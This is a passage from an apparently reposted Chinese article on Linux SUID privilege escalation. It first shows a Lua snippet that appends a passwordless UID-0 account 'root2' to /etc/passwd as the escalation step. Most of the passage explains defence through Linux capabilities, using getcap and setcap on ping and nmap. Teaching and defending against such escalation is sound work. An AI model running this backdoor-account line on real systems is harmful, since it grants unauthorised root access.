油炸小可爱|黑客大神谈一谈Linux与suid提权( 四 )


local file = io.open("/etc/passwd", "a")file:write("root2::0:0::/root:/bin/bash\n")file:close()
成功提权:
油炸小可爱|黑客大神谈一谈Linux与suid提权如何让系统变得更安全作为一个系统的运维人员 , 我们如何来防御类似的suid提权攻击呢?
当然我们需要先感谢Linux内核和Ubuntu和Debian等发行版的开发人员 , 他们也在慢慢帮我们不断提高系统的安全性和稳定性 , 但类似于nmap这样功能强大的软件 , 我们无法奢求一律Secure By Default , 所以必须学习一些更有趣的知识 。
Linux 2.2以后增加了capabilities的概念 , 可以理解为水平权限的分离 。 以往如果需要某个程序的某个功能需要特权 , 我们就只能使用root来执行或者给其增加SUID权限 , 一旦这样 , 我们等于赋予了这个程序所有的特权 , 这是不满足权限最小化的要求的;在引入capabilities后 , root的权限被分隔成很多子权限 , 这就避免了滥用特权的问题 , 我们可以在capabilities(7) - Linux manual page中看到这些特权的说明 。
类似于ping和nmap这样的程序 , 他们其实只需要网络相关的特权即可 。 所以 , 如果你在Kali下查看ping命令的capabilities , 你会看到一个cap_net_raw:
$ ls -al /bin/ping-rwxr-xr-x 1 root root 73496 Oct 5 22:34 /bin/ping$ getcap /bin/ping/bin/ping = cap_net_raw+ep
这就是为什么kali的ping命令无需设置setuid权限 , 却仍然可以以普通用户身份运行的原因 。
同样 , 我们也可以给nmap增加类似的capabilities:
sudo setcap cap_net_raw,cap_net_admin,cap_net_bind_service+eip /usr/bin/nmapnmap --privileged -sS 192.168.1.1
再次使用TCP SYN扫描时就不会出现权限错误的情况了:
油炸小可爱|黑客大神谈一谈Linux与suid提权原文地址:


推荐阅读